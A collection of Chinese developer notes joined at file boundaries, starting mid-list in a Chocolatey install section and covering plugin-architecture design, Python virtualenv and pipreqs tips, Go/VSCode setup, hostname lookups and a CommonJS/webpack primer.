choco install vcredist140 -y
# Microsoft .NET Framework 4.8 4.8.0.20190930
choco install dotnetfx -y
choco install kb3035131 -y
# Visual C++ Build Tools 2015 14.0.25420.1
choco install visualcppbuildtools -y
choco install microsoft-visual-cpp-build-tools -y
choco install vcredist-all -y
```
## 查询包
[Chocolatey Software | Packages](https://community.chocolatey.org/packages)
```powershell
choco list --local
choco outdated
choco upgrade --yes Firefox
choco upgrade --yes all
```
## 说明
Chocolatey 跟其他第三方软件管理器不同之处在于,其他软件管理器经常修改原来的安装包,从而可以夹带自己的广告,并且经常安装好之后发现并不是最新版本。但是 Chocolatey 不但**使用官网链接下载**,而且会在下载完成后使用数字摘要技术**检查安装包是否跟官网上的完全一致**,所以,你使用 Chocolatey 安装的就是最新纯净官网版本。
此外,通过使用 `info` 命令,你还可以查看程序的详细信息,便于你确认是否需要使用 Chocolatey 来安装这个程序:
```shell
choco info Firefox
```
> choco 远多于 scoop。另一个,scoop 只能采用便携式(Portable)安装,choco 可选便携式、安装式,比如安装 git 可以选择 git.install 或者 git.portable。但 choco 并不总是提供便携式的选项。进阶来说,因为采用安装包的形式安装,choco 提供对安装包的控制,比如安装位置,比如 Everything 可以选择是否以服务形式安装,之类。
> choco最爽的是自动配置path。好几个要配置环境的软件包直接用choco安装,省时省力
<file_sep>---
typora-root-url: plugin
---
+ [插件式可扩展架构设计心得](https://zhuanlan.zhihu.com/p/372381276)
+ [使用Go实现GoF的23种设计模式(三)](https://zhuanlan.zhihu.com/p/220496173)
+ [golang插件化方案](https://developer.aliyun.com/article/625234)
+ [使用Go实现GoF的23种设计模式](https://zhuanlan.zhihu.com/p/177025599)
+
根据目前各个系统的插件设计,总结下来,我们创造插件主要是帮助我们解决以下两种类型的问题:
- 为系统提供全新的能力
- 对系统现有能力进行定制
同时,在解决上面这类问题的时候做到:
- 插件代码与系统代码在工程上解耦,可以独立开发,并对开发者隔离框架内部逻辑的复杂度
- 可动态化引入与配置
并且进一步地可以实现:
- 通过对多个单一职责的插件进行组合,可以实现多种复杂逻辑,实现逻辑在复杂场景中的复用
结合上面的特征,我们尝试简单描述一下插件是什么吧。插件一般是可独立完成某个或一系列功能的模块。一个插件是否引入一定不会影响系统原本的正常运行(除非他和另一个插件存在依赖关系)。插件在运行时被引入系统,由系统控制调度。一个系统可以存在复数个插件,这些插件可通过系统预定的方式进行组合。
## 怎么实现插件模式
插件模式本质是一种设计思想,并没有一个一成不变或者是万金油的实现。但我们经过长期的代码实践,其实已经可以总结出一套方法论来指导插件体系的实现,并且其中的一些实现细节是存在社区认可度比较高的“最佳实践”的。本文在攥写过程中也参考研读了社区比较有名的一些项目的插件模式设计,包括但不仅限于 Koa、Webpack、Babel 等。
## 1. 解决问题前首先要定义问题
实现一套插件模式的第一步,永远都是先定义出你需要插件化来帮助你解决的问题是什么。这往往是具体问题具体分析的,并总是需要你对当前系统的能力做一定程度的抽象。比如 Babel,他的核心功能是将一种语言的代码转化为另一种语言的代码,他面临的问题就是,他无法在设计时就穷举语法类型,也不了解应该如何去转换一种新的语法,因此需要提供相应的扩展方式。为此,他将自己的整体流程抽象成了 parse、transform、generate 三个步骤,并主要面向 parse 和 transform 提供了插件方式做扩展性支持。在 parse 这层,他核心要解决的问题是怎么去做分词,怎么去做词义语法的理解。在 transform 这层要做的则是,针对特定的语法树结构,应该如何转换成已知的语法树结构。
很明显,babel 他很清楚地定义了 parse 和 transform 两层的插件要完成的事情。当然也有人可能会说,为什么我一定要定义清楚问题呢,插件体系本来就是为未来的不确定性服务的。这样的说法对,也不对。计算机程序永远是面向确定性的,我们需要有明确的输入格式,明确的输出格式,明确的可以依赖的能力。解决问题一定是在已知的一个框架内的。这就引出了定义问题的一门艺术——如何赋予不确定以确定性,在不确定中寻找确定。说人话,就是“抽象”,这也是为什么最开始我会以过度设计作为引子。
我在进行问题定义的时候,最常使用的是样本分析法,这种方法并非捷径,但总归是有点效的。样本分析法,就是先着眼于整理已知待解决的问题,将这些问题作为样本尝试分类和提取共性,从而形成一套抽象模式。然后再通过一些不确定但可能未来待解决的问题来测试,是否存在无法套用的情况。光说无用,下面我们还是以 babel 来举个栗子,当然 babel 的抽象设计其实本质就是有理论支撑的,在有现有理论已经为你做好抽象时,还是尽量用现成的就好啦。

Babel 主要解决的问题是把新语法的代码在不改变逻辑的情况下如何转换成旧语法的代码,简单来说就是 code => code 的一个问题。但是需要转什么,怎么转,这些是会随着语法规范不断更新变化的,因此需要使用插件模式来提升其未来可拓展性。我们当下要解决的问题也许是如何转换 es6 新语法的内容,以及 JSX 这种框架定制的 DSL。我们当然可以简单地串联一系列的正则处理,但是你会发现每一个插件都会有大量重复的识别分析类逻辑,不但加大了运行开销,同时也很难避免互相影响导致的问题。Babel 选择了把解析与转换两个动作拆开来,分别使用插件来实现。解析的插件要解决的问题是如何解析代码,把 Code 转化为 AST。这个问题对于不同的语言又可以拆解为相同的两个事情,如何分词,以及如何做词义解析。当然词义解析还能是如何构筑上下文、如何产出 AST 节点等等,就不再细分了。最终形成的就是下图这样的模式,插件专注解决这几个细分问题。转换这边的,则可分为如何查找固定 AST 节点,以及如何转换,最终形成了 Visitor 模式,这里就不再详细说了。那么我们再思考一下,如果未来 ES7、8、9(相对于设计场景的未来)等新语法出炉时,是不是依然可以使用这样的模式去解决问题呢?看起来是可行的。

这就是前面所说的在不确定中寻找确定性,尽可能减少系统本身所面临的不确定,通过拆解问题去限定问题。
那么定义清楚问题,我们大概就完成了 1/3 的工作了,下面就是要正式开始思考如何设计了。
## 2. 插件架构设计绕不开的几大要素
插件模式的设计,可以简单也可以复杂,我们不能指望一套插件模式适合所有的场景,如果真的可以的话,我也不用写这篇文章了,给大家甩一个 npm 地址就完事了。这也是为什么在设计之前我们一定要先定义清楚问题。具体选择什么方式实现,一定是根据具体解决的问题权衡得出的。不过呢,这事终归还是有迹可循,有法可依的。
当正式开始设计我们的插件架构时,我们所要思考的问题往往离不开以下几点。整个设计过程其实就是为每一点选择合适的方案,最后形成一套插件体系。这几点分别是:
- 如何注入、配置、初始化插件
- 插件如何影响系统
- 插件输入输出的含义与可以使用的能力
- 复数个插件之间的关系是怎么样的
下面就针对每个点详细解释一下
### 如何注入、配置、初始化插件
注入、配置、初始化其实是几个分开的事情。但都同属于 Before 的事情,所以就放在一起讲了。
先来讲一讲**注入**,其实本质上就是如何让系统感知到插件的存在。注入的方式一般可以分为 声明式 和 编程式。声明式就是通过配置信息,告诉系统应该去哪里去取什么插件,系统运行时会按照约定与配置去加载对应的插件。类似 Babel,可以通过在配置文件中填写插件名称,运行时就会去 modules 目录下去查找对应的插件并加载。编程式的就是系统提供某种注册 API,开发者通过将插件传入 API 中来完成注册。两种对比的话,声明式主要适合自己单独启动不用接入另一个软件系统的场景,这种情况一般使用编程式进行定制的话成本会比较高,但是相对的,对于插件命名和发布渠道都会有一些限制。编程式则适合于需要在开发中被引入一个外部系统的情况。当然也可以两种方式都进行支持。
然后是插件**配置**,配置的主要目的是实现插件的可定制,因为一个插件在不同使用场景下,可能对于其行为需要做一些微调,这时候如果每个场景都去做一个单独的插件那就有点小题大作了。配置信息一般在注入时一起传入,很少会支持注入后再进行重新配置。配置如何生效其实也和插件初始化的有点关联,初始化这事可以分为方式和时机两个细节来讲,我们先讲讲方式。常见的方式我大概列举两种。一种是工厂模式,一个插件暴露出来的是一个工厂函数,由调用者或者插件架构来将提供配置信息传入,生成插件实例。另一种是运行时传入,插件架构在调度插件时会通过约定的上下文把配置信息给到插件。工厂模式咱们继续拿 babel 来举例吧。
```js
function declare<O extends Record<string, any>, R extends babel.PluginObj = babel.PluginObj>(
builder: (api: BabelAPI, options: O, dirname: string) => R,
): (api: object, options: O | null | undefined, dirname: string) => R;
```
上面代码中的 builder 呢就是我们说到的工厂函数了,他最终将产出一个 Plugin 实例。builder 通过 options 获取到配置信息,并且这里设计上还支持通过 api 设置一些运行环境信息,不过这并不是必须的,所以不细说了。简化一下就是:
```js
type TPluginFactory<OPTIONS, PLUGIN> = (options: OPTIONS) => PLUGIN;
```
所以**初始化**呢,自然也可以是通过调用工厂函数初始化、初始化完成后再注入、不需要初始化三种。
一般我们不选择初始化完成后再注入,因为解耦的诉求,我们尽量在插件中只做声明。是否使用工厂模式则看插件是否需要初始化这一步骤。大部分情况下,如果你决定不好,还是推荐优先选择工厂模式,可以应对后面更多复杂场景。初始化的时机也可以分为注入即初始化、统一初始化、运行时才初始化。很多情况下 注入即初始化、统一初始化 可以结合使用,具体的区分我尝试通过一张表格来对应说明:

另外还有个问题也在这里提一下,在一些系统中,我们可能依赖许多插件组合来完成一件复杂的事情,为了屏蔽单独引入并配置插件的复杂性,我们还会提供一种 Preset 的概念,去打包多个插件及其配置。使用者只需要引入 Preset 即可,不用关心里面有哪些插件。例如 Babel 在支持 react 语法时,其实要引入 `syntax-jsx` `transform-react-jsx` `transform-react-display-name` `transform-react-pure-annotationsd` 等多个插件,最终给到的是 `preset-react`这样一个包。
### 插件如何影响系统
插件对系统的影响我们可以总结为三方面:**行为、交互、展示**。单独一个插件可能只涉及其中一点。根据具体场景,有些方面也不必去影响,比如一个逻辑引擎类型的系统,就大概率不需要展示这块的东西啦。
VSCode 插件大致覆盖了这三个,所以我们可以拿一个简单的插件来看下。这里我们选择了 Clock in status bar 这个插件,这个插件的功能很简单,就是在状态栏加一个时钟,或者你可以在编辑内容内快速插入当前时间。


整个项目里最主要的是下面这些内容:

在 package.json 中,通过扩展的 contributes 字段为插件注册了一个命令,和一个配置菜单。
```json
"main": "./extension", // 入口文件地址
"contributes": {
"commands": [{
"command": "clock.insertDateTime",
"title": "Clock: Insert date and time"
}],
"configuration": {
"type": "object",
"title": "Clock configuration",
"properties": {
"clock.dateFormat": {
"type": "string",
"default": "hh:MM TT",
"description": "Clock: Date format according to https://github.com/felixge/node-dateformat"
}
}
}
},
```
在入口文件 extension.js 中则通过系统暴露的 API 创建了状态栏的 UI,并注册了命令的具体行为。
```json
'use strict';
// The module 'vscode' contains the VS Code extensibility API
// Import the module and reference it with the alias vscode in your code below
const
clockService = require('./clockservice'),
ClockStatusBarItem = require('./clockstatusbaritem'),
vscode = require('vscode');
// this method is called when your extension is activated
// your extension is activated the very first time the command is executed
function activate(context) {
// Use the console to output diagnostic information (console.log) and errors (console.error)
// This line of code will only be executed once when your extension is activated
// The command has been defined in the package.json file
// Now provide the implementation of the command with registerCommand
// The commandId parameter must match the command field in package.json
context.subscriptions.push(new ClockStatusBarItem());
context.subscriptions.push(vscode.commands.registerTextEditorCommand('clock.insertDateTime', (textEditor, edit) => {
textEditor.selections.forEach(selection => {
const
start = selection.start,
end = selection.end;
if (start.line === end.line && start.character === end.character) {
edit.insert(start, clockService());
} else {
edit.replace(selection, clockService());
}
});
}));
}
exports.activate = activate;
// this method is called when your extension is deactivated
function deactivate() {
}
exports.deactivate = deactivate;
```
上述这个例子有点大块儿,有点稍显粗糙。那么总结下来我们看一下,在最开始我们提到的三个方面分别是如何体现的。
- UI:我们通过系统 API 创建了一个状态栏组件。我们通过配置信息构建了一个 配置页。
- 交互:我们通过注册命令,增加了一项指令交互。
- 逻辑:我们新增了一项插入当前时间的能力逻辑。
所以我们在设计一个插件架构时呢,也主要就从这三方面是否会被影响考虑即可。那么插件又怎么去影响系统呢,这个过程的前提是插件与系统间建立一份契约,约定好对接的方式。这份契约可以包含文件结构、配置格式、API 签名。还是结合 VSCode 的例子来看看:
- 文件结构:沿用了 NPM 的传统,约定了目录下 package.json 承载元信息。
- 配置格式:约定了 main 的配置路径作为代码入口,私有字段 contributes 声明命令与配置。
- API 签名:约定了扩展必须提供 activate 和 deactivate 两个接口。并提供了 vscode 下各项 API 来完成注册。
UI 和 交互的定制逻辑,本质上依赖系统本身的实现方式。这里重点讲一下一般通过哪些模式,去调用插件中的逻辑。
### 直接调用
这个模式很直白,就是在系统的自身逻辑中,根据需要去调用注册的插件中约定的 API,有时候插件本身就只是一个 API。比如上面例子中的 activate 和 deactivate 两个接口。这种模式很常见,但调用处可能会关注比较多的插件处理相关逻辑。
### 钩子机制(事件机制)
系统定义一系列事件,插件将自己的逻辑挂载在事件监听上,系统通过触发事件进行调度。上面例子中的 clock.insertDateTime 命令也可以算是这类,是一个命令触发事件。在这个机制上,webpack 是一个比较明显的例子,我们来看一个简单的 webpack 插件:
```js
// 一个 JavaScript 命名函数。
function MyExampleWebpackPlugin() {
};
// 在插件函数的 prototype 上定义一个 `apply` 方法。
MyExampleWebpackPlugin.prototype.apply = function(compiler) {
// 指定一个挂载到 webpack 自身的事件钩子。
compiler.plugin('webpacksEventHook', function(compilation /* 处理 webpack 内部实例的特定数据。*/, callback) {
console.log("This is an example plugin!!!");
// 功能完成后调用 webpack 提供的回调。
callback();
});
};
```
这里的插件就将“在 console 打印 This is an example plugin!!!”这一行为注册到了 webpacksEventHook 这个钩子上,每当这个钩子被触发时,会调用一次这个逻辑。这种模式比较常见,webpack 也专门做了一份封装服务这个模式,https://github.com/webpack/tapable 。通过定义了多种不同调度逻辑的钩子,你可以在任何系统中植入这款模式,并能满足你不同的调度需求(调度模式我们在下一部分中详细讲述)。
```js
const {
SyncHook,
SyncBailHook,
SyncWaterfallHook,
SyncLoopHook,
AsyncParallelHook,
AsyncParallelBailHook,
AsyncSeriesHook,
AsyncSeriesBailHook,
AsyncSeriesWaterfallHook
} = require("tapable");
```

钩子机制适合注入点多,松耦合需求高的插件场景,能够减少整个系统中插件调度的复杂度。成本就是额外引了一套钩子机制了,不算高的成本,但也不是必要的。
### 使用者调度机制
这种模式本质就是将插件提供的能力,统一作为系统的额外能力对外透出,最后又系统的开发使用者决定什么时候调用。例如 JQuery 的插件会注册 fn 中的额外行为,或者是 Egg 的插件可以向上下文中注册额外的接口能力等。这种模式我个人认为比较适合又需要定制更多对外能力,又需要对能力的出口做收口的场景。如果你希望用户通过统一的模式调用你的能力,那大可尝试一下。你可以尝试使用新的 Proxy 特性来实现这种模式。
不管是系统对插件的调用还是插件调用系统的能力,我们都是需要一个确定的输入输出信息的,这也是我们上面 API 签名所覆盖到的信息。我们会在下一部分专门讲一讲。
### 插件输入输出的含义与可以使用的能力
插件与系统间最重要的契约就是 API 签名,这涉及了可以使用哪些 API,以及这些 API 的输入输出是什么。
### 可以使用的能力
是指插件的逻辑可以使用的公共工具,或者可以通过一些方式获取或影响系统本身的状态。能力的注入我们常使用的方式是参数、上下文对象或者工厂函数闭包。
提供的能力类型主要有下面四种:
- 纯工具:不影响系统状态
- 获取当前系统状态
- 修改当前系统状态
- API 形式注入功能:例如注册 UI,注册事件等
对于需要提供哪些能力,一般的建议是根据插件需要完成的工作,提供最小够用范围内的能力,尽量减少插件破坏系统的可能性。在部分场景下,如果不能通过 API 有效控制影响范围,可以考虑为插件创造沙箱环境,比如插件内可能会调用 global 的接口等。
### 输入输出
当我们的插件是处在我们系统一个特定的处理逻辑流程中的(常见于直接调用机制或钩子机制),我们的插件重点关注的就是输入与输出。此时的输入与输出一定是由逻辑流程本身所处的逻辑来决定的。输入输出的结构需要与插件的职责强关联,尽量保证可序列化能力(为了防止过度膨胀以及本身的易读性),并根据调度模式有额外的限制条件(下面会讲)。如果你的插件输入输出过于复杂,可能要反思一下抽象是否过于粗粒度了。
另外还需要对插件逻辑保证异常捕捉,防止对系统本身的破坏。
还是 Babel Parser 那个例子。
```js
{
parseExprAtom(refExpressionErrors: ?ExpressionErrors): N.Expression;
getTokenFromCode(code: number): void; // 内部再调用 finishToken 来影响逻辑
updateContext(prevType: TokenType): void; // 内部通过修改 this.state 来改变上下文信息
}
```
**意料之中的输入,坚信不疑的输出**
### 复数个插件之间的关系是怎么样的
> Each plugin should only do a small amount of work, so you can connect them like building blocks. You may need to combine a bunch of them to get the desired result.
这里我们讨论的是,在同一个扩展点上注入的插件,应该以什么形式做组合。常见的形式如下:
### 覆盖式
只执行最新注册的逻辑,跳过原始逻辑

### 管道式
输入输出相互衔接,一般输入输出是同一个数据类型。

### 洋葱圈式
在管道式的基础上,如果系统核心逻辑处于中间,插件同时关注进与出的逻辑,则可以使用洋葱圈模型。

可以参考 [koa 中的中间件调度模式](https://github.com/koajs/compose)
```js
const middleware = async (...params, next) => {
// before
await next();
// after
};
```
### 集散式
集散式就是每一个插件都会执行,如果有输出则最终将结果进行合并。这里的前提是存在方案,可以对执行结果进行 merge。

另外调度还可以分为 同步 和 异步 两个方式,主要看插件逻辑是否包含异步行为。同步的实现会简单一点,不过如果你不能确定,那也可以考虑先把异步的一起考虑进来。类似 [https://www.npmjs.com/package/neo-async](https://www.npmjs.com/package/neo-async) 这样的工具可以很好地帮助你。如果你使用了 tapble,那里面已经有相应的定义。
另外还需要注意的细节是:
- 顺序是先注册先执行,还是反过来,需要给到明确的解释或一致的认知。
- 同一个插件重复注册了该怎么处理。
## 总结
当你跟着这篇文章的思路,把这些问题都思考清楚之后,想必你的脑海中一定已经有了一个插件架构的雏形了。剩下的可能是结合具体问题,再通过一些设计模式去优化开发者的体验了。个人认为设计一个插件架构,是一定逃不开针对这些问题的思考的,而且只有去真正关注这些问题,才能避开炫技、过度设计等面向未来开发时时常会犯的错误。当然可能还差一些东西,一些推荐的实现方式也可能会过时,这些就欢迎大家帮忙指正啦。
<file_sep>
```bash
sudo apt-get update
sudo apt-get inatall openssh-server
sudo ps -e | grep ssh
sudo service ssh start
```
<file_sep>https://development.qt-project.narkive.com/TfnvugQb/regression-behavioral-change-in-qsqltablemodel-qtableview-in-qt-5
https://doc.qt.io/qt-5/qsqltablemodel.html#record
https://doc.qt.io/qt-5/qsqltablemodel.html
https://stackoverflow.com/questions/20523048/how-to-save-the-changes-database-via-qsqltablemodel
https://forum.qt.io/topic/114551/how-in-qsqltablemodel-change-all-value-in-the-column/6
https://blog.csdn.net/qq_40930972/article/details/96131741
https://blog.csdn.net/HMH2_YY/article/details/78379624
<file_sep>
市场上管理 Python 版本和环境的工具有很多,这里列举几个:
+ p:非常简单的交互式 python 版本管理工具。
+ pyenv:简单的 Python 版本管理工具。
+ Vex:可以在虚拟环境中执行命令。
+ virtualenv:创建独立 Python 环境的工具。
+ virtualenvwrapper:virtualenv 的一组扩展。
## virtualenv
由于 virtualenvwrapper 是 virtualenv 的一组扩展,所以如果要使用 virtualenvwrapper,就必须先安装 virtualenv。
```shell
$ pip install virtualenv
# 检查版本
$ virtualenv --version
```
### 创建
```shell
# 准备目录并进入
$ mkdir -p /home/wangbm/Envs
$ cd !$
# 创建虚拟环境(按默认的Python版本)
# 执行完,当前目录下会有一个my_env01的目录
$ virtualenv my_env01
# 你也可以指定版本
$ virtualenv -p /usr/bin/python2.7 my_env01
$ virtualenv -p /usr/bin/python3.6 my_env02
# 你肯定觉得每次都要指定版本,相当麻烦吧?
# 在Linux下,你可以把这个选项写进入环境变量中
$ echo "export VIRTUALENVWRAPPER_PYTHON=/usr/bin/python2.7" >> ~/.bashrc
```
### 进入/退出
```shell
$ cd /home/wangbm/Envs
# 进入
$ source my_env01/bin/activate
# 退出
$ deactivate
删除 删除虚拟环境,只需删除对应的文件夹就行了。并不会影响全局的Python和其他环境。
$ cd /home/wangbm/Envs
$ rm -rf my_env01
```
>注意: 创建的虚拟环境,不会包含原生全局环境的第三方包,其会保证新建虚拟环境的干净。
如果你需要和全局环境使用相同的第三方包。可以使用如下方法:
```shell
# 导出依赖包
$ pip freeze > requirements.txt
# 安装依赖包
$ pip install -r requirements.txt
```
## virtualenvwrapper
virtualenv 虽然已经相当好用了,可是功能还是不够完善。
你可能也发现了,要进入虚拟环境,必须得牢记之前设置的虚拟环境目录,如果你每次按规矩来,都将环境安装在固定目录下也没啥事。但是很多情况下,人是会懒惰的,到时可能会有很多个虚拟环境散落在系统各处,你将有可能忘记它们的名字或者位置。
还有一点,virtualenv 切换环境需要两步,退出 -> 进入。不够简便。
为了解决这两个问题,virtualenvwrapper就诞生了。
### 安装
```shell
# 安装 - Linux
pip install virtualenvwrapper
# 安装 - Windows
pip install virtualenvwrapper-win
```
配置 先 find 一下 `virtualenvwrapper.sh` 文件的位置
```shell
sudo find / -name virtualenvwrapper.sh
/home/vicky/.local/bin/virtualenvwrapper.sh
```
若是 windows 则使用everything 查找 `virtualenvwrapper.bat` 脚本
```
C:\Python37\Scripts\virtualenvwrapper.bat
```
在~/.bashrc 文件新增配置
```
export WORKON_HOME=$HOME/.virtualenvs
export PROJECT_HOME=$HOME/workspace
export VIRTUALENVWRAPPER_SCRIPT=/usr/bin/virtualenvwrapper.sh
export VIRTUALENVWRAPPER_SCRIPT=/home/vicky/.local/bin/virtualenvwrapper.sh
source /usr/bin/virtualenvwrapper.sh
```
windows 则新增环境变量:WORKON_HOME
基本语法:
`mkvirtualenv [-a project_path] [-i package] [-r requirements_file] [virtualenv options] ENVNAME`
常用方法
```
# 创建
$ mkvirtualenv my_env01
# 进入
$ workon my_env01
# 退出
$ deactivate
# 列出所有的虚拟环境,两种方法
$ workon
$ lsvirtualenv
# 在虚拟环境内直接切换到其他环境
$ workon my_env02
# 删除虚拟环境
$ rmvirtualenv my_env01
```
其他命令
```
# 列出帮助文档
$ virtualenvwrapper
# 拷贝虚拟环境
$ cpvirtualenv ENVNAME [TARGETENVNAME]
# 在所有的虚拟环境上执行命令
$ allvirtualenv pip install -U pip
# 删除当前环境的所有第三方包
$ wipeenv
# 进入到当前虚拟环境的目录
$ cdsitepackages
# 进入到当前虚拟环境的site-packages目录
$ cdvirtualenv
# 显示 site-packages 目录中的内容
$ lssitepackages
```
更多内容,可查看 官方文档 https://virtualenvwrapper.readthedocs.io/en/latest/command_ref.html
## WORKON_HOME
```py
pip install pipenv
pipenv install --python 3.7.8
pipenv shell
```
## ISSUE
### 1. UPX is not available
https://upx.github.io/
### 2. pyinstaller打包成exe后运行出错。报Failed to execute script XXXX
通过不带-w的参数打包在控制台看程序执行情况。
C:\Python37\Lib\site-packages\PySide2\__init__.py
```py
import sys
import os
dir_name = os.path.dirname(__file__)
plugin_path = os.path.join(dir_name, 'plugins', 'platforms')
os.environ['QT_QPA_PLATFORM_PLUGIN_PATH'] = plugin_path
```
D:\yang\testcode\pyenv\M30G_HB_V1.0.1-LzumDEdF\Scripts\pyinstaller.exe --noconfirm --onefile --windowed --icon D:\yang\testcode\M30G_HB_V1.0.1\epds_logo.ico test_app.py<file_sep>---
typora-root-url: 02asserts
---
## 环境变量
### Windows
- `GOROOT` : Go安装路径(例如:C:\Go)
- `GOPATH`:Go工程的路径(例如:E\go)。如果有多个,就以分号分隔添加
- `Path`:在path中添加:`C:\Go\bin;%GOPATH%\bin`
### mac
添加
```
source ~/.bash_profile
export GOPATH =/Users/steven/Documents/gp_project export GOROOT=/Usr/local/go export GOBIN=$GOROOT/bin export PATH=$PATH:$GOBIN
```
## 安装中文简体插件
点击左侧菜单栏最后一项`管理扩展`,在`搜索框`中输入`chinese` ,选中结果列表第一项,点击`install`安装。
安装完毕后右下角会提示`重启VS Code`,重启之后你的VS Code就显示中文啦!
Chinese (Simplified) Language Pack for Visual Studio Codems-ceintl.vscode-language-pack-zh-hans
## 基本命令
+ 文件资源管理器 `Ctrl+Shift+E`
+ 跨文件搜索 `Ctrl+Shift+F`
+ 源代码管理 `Ctrl+Shift+G`
+ 启动和调试 `Ctrl+Shift+D`
+ 管理扩展 `Ctrl+Shift+X`
+ 查找并运行所有命令 `Ctrl+Shift+P`
+ 查看错误和警告 `Ctrl+Shift+M`
+ 切换集成终端 `Ctrl+\``
## 安装Go开发扩展
https://golang.google.cn/dl/
## 变更编辑器主题
依次点击`设置->颜色主题`
## 安装Go语言开发工具包
候为我们提供诸如代码提示、代码自动补全等功能。
在此之前请先设置`GOPROXY`,打开终端执行以下命令:
```bash
go env -w GOPROXY=https://goproxy.cn,direct
```
Windows平台按下`Ctrl+Shift+P`,Mac平台按`Command+Shift+P`,这个时候VS Code界面会弹出一个输入框,如下图:

在这个输入框中输入`>go:install`,下面会自动搜索相关命令,我们选择`Go:Install/Update Tools`这个命令,按下图选中并会回车执行该命令(或者使用鼠标点击该命令)
## 配置VSCode开启自动保存
文件->首选项->设置

## 配置代码片段快捷键
还是按`Ctrl/Command+Shift+P`,按下图输入`>snippets`,选择命令并执行:<file_sep>
+ [GitLab搭建以及配置](https://blog.51cto.com/tanxing/1960251)
+ [Linux 环境下安装 GitLab 与配置](https://blog.csdn.net/jake_tian/article/details/99964088)<file_sep>## platform
```py
import platform
platform.node()
```
## socket
```py
import socket
socket.gethostname()
```
## os
```py
import os
os.environ['COMPUTERNAME']
```
## win32api
```py
import win32api
win32api.GetComputerName()
WIN32_ComputerNameDnsHostname = 1
win32api.GetComputerNameEx(WIN32_ComputerNameDnsHostname)
```
<file_sep>## 安装
```shell
pip install pipreqs
```
### 用法
```shell
pipreqs somedir/location
# 输出requirements.txt到项目根目录下
pipreqs --use-local ./
```
>错误1 UnicodeDecodeError
```shell
UnicodeDecodeError: 'gbk' codec can't decode byte 0x80 in position XXX: illegal multibyte sequence
```
指定编码格式
```shell
# 输出requirements.txt到项目根目录下
pipreqs --encoding=utf8 --use-local ./
pipreqs --encoding=utf8 ./
```
>错误2
```shell
(EpdsRawEnv) D:\Remote\EpdsTestPlatform>pipreqs --encoding=utf8 ./
ERROR: Failed on file: ./ui\style.py
Traceback (most recent call last):
File "c:\python\python37\lib\runpy.py", line 193, in _run_module_as_main
"__main__", mod_spec)
File "c:\python\python37\lib\runpy.py", line 85, in _run_code
exec(code, run_globals)
File "C:\Python\Python37\Scripts\pipreqs.exe\__main__.py", line 7, in <module>
File "c:\python\python37\lib\site-packages\pipreqs\pipreqs.py", line 470, in main
init(args)
File "c:\python\python37\lib\site-packages\pipreqs\pipreqs.py", line 409, in init
follow_links=follow_links)
File "c:\python\python37\lib\site-packages\pipreqs\pipreqs.py", line 138, in get_all_imports
raise exc
File "c:\python\python37\lib\site-packages\pipreqs\pipreqs.py", line 124, in get_all_imports
tree = ast.parse(contents)
File "c:\python\python37\lib\ast.py", line 35, in parse
return compile(source, filename, mode, PyCF_ONLY_AST)
File "<unknown>", line 1
# -*- coding: utf-8 -*-
^
SyntaxError: invalid character in identifier
```
BOM-symbol的问题
>什么是BOM?首先了解一下BOM,字节顺序标记(英语:byte-order mark,BOM)是位于码点U+FEFF的统一码字符的名称。当以UTF-16或UTF-32来将UCS/统一码字符所组成的字符串编码时,这个字符被用来标示其字节序。它常被用来当做标示文件是以UTF-8、UTF-16或UTF-32编码的记号。【来自维基百科】。
通过读文件的方式,利用`ord()`函数,读到`.py`文件的开头不可见字符的Unicode编码是`65279`,然后就简单写了一个脚本,利用该脚本将文件中的`chr(65279)`字符删除。为了方便以后使用,写的脚本是基于命令行的,如下:
```python
import os
import sys
ProjectDir = os.path.abspath(os.path.pardir)
FILE_LIST = []
file_ends = ['.py', ]
def replace_remove_65279(file_path):
print("will replace: ", file_path)
with open(file_path, 'r', encoding='utf-8') as f:
lines = f.readlines()
with open(file_path, 'w', encoding='utf-8') as ff:
for line in lines:
line = line.replace(chr(65279), '')
ff.write(line)
def walk_dir(tar_dir, topdown=True):
for root, dirs, files in os.walk(tar_dir, topdown):
for name in files:
for item in file_ends:
if name.lower().endswith(item):
FILE_LIST.append(os.path.join(root, name))
walk_dir(ProjectDir)
for item in FILE_LIST:
replace_remove_65279(item)
```
<file_sep># CommonJS 和 AMD
CommonJS 和 AMD 是用于 JavaScript 模块管理的两大规范,前者定义的是模块的同步加载,主要用于 NodeJS,适用于服务端;而后者则是异步加载,通过 requirejs 等工具适用于前端。随着 npm 成为主流的 JavaScript 组件发布平台,越来越多的前端项目也依赖于 npm 上的项目,或者自身就会发布到 npm 平台。因此,让前端项目更方便的使用 npm 上的资源成为一大需求。
关于这两种规范的详细讲解,网上有很多资料,但是要完全理解也不是那么容易的,所以我们这里只是简单介绍一下这方面的知识,让大家知道有这个东西,平时大家有时间或者感兴趣的话,可以自己查阅相关资料。
## CommonJS 规范
每个文件就是一个模块,有自己的作用域。在一个文件里面定义的变量、函数、类,都是私有的,对其他文件不可见。
```
// A.js
var name = 'shiyanlou';
function sayHello(name) {
console.log('hello' + name)
}
module.exports = {
name,
sayHello
}
```
```
// B.js
var A = require('./A.js')
console.log(A.name) #'shiyanlou'
A.sayHello('shiyanlou') #'hello shiyanlou'
```
## AMD 规范
采用异步的方式来加载模块(假设当前文件与模块同目录),即模块的加载不影响后面代码的执行,当模块加载完成后,执行回调函数。
```
// require([module], callback);
require(['math'], function (math) {
math.add(2, 3);
});
```
## Webpack
Webpack 是当下最热门的前端资源模块化管理和打包工具。它可以将许多松散的模块按照依赖和规则打包成符合生产环境部署的前端资源。还可以将按需加载的模块进行代码分隔,等到实际需要的时候再异步加载。通过 loader 的转换,任何形式的资源都可以视作模块,比如 CommonJs 模块、 AMD 模块、 ES6 模块、CSS、图片、 JSON、Coffeescript、 LESS 等。在 webpack 出现之前,比较主流的代码构建工具有 grunt、glup、browserify。就目前的发展形势来看,webpack 基本占据了半壁江山,
webpack 相比其他构建工具,主要具有以下新的特性:
1. 兼容CommonJS 、 AMD 、ES6的语法
2. 支持js、css、图片等资源文件打包
3. 串联式模块加载器以及插件机制,让其具有更好的灵活性和扩展性,例如提供对CoffeeScript、ES6的支持
4. 有独立的配置文件webpack.config.js
5. 可以将代码切割成不同的chunk,实现按需加载,降低了初始化时间
6. 支持 SourceUrls 和 SourceMaps,易于调试
7. 具有强大的Plugin接口,大多是内部插件,使用起来比较灵活
8. webpack 使用异步 IO 并具有多级缓存。这使得 webpack 很快且在增量编译上更加快
### webpack 配置基本概念
这是一个最简单的配置文件示例:
```js
var path = require('path');
module.exports = {
// 资源入口
entry: './src/index.js',
// 资源出口
output: {
filename: 'bundle.js',
path: path.resolve(__dirname, 'dist')
}
};
```
```js
entry: [filename, filename]
```
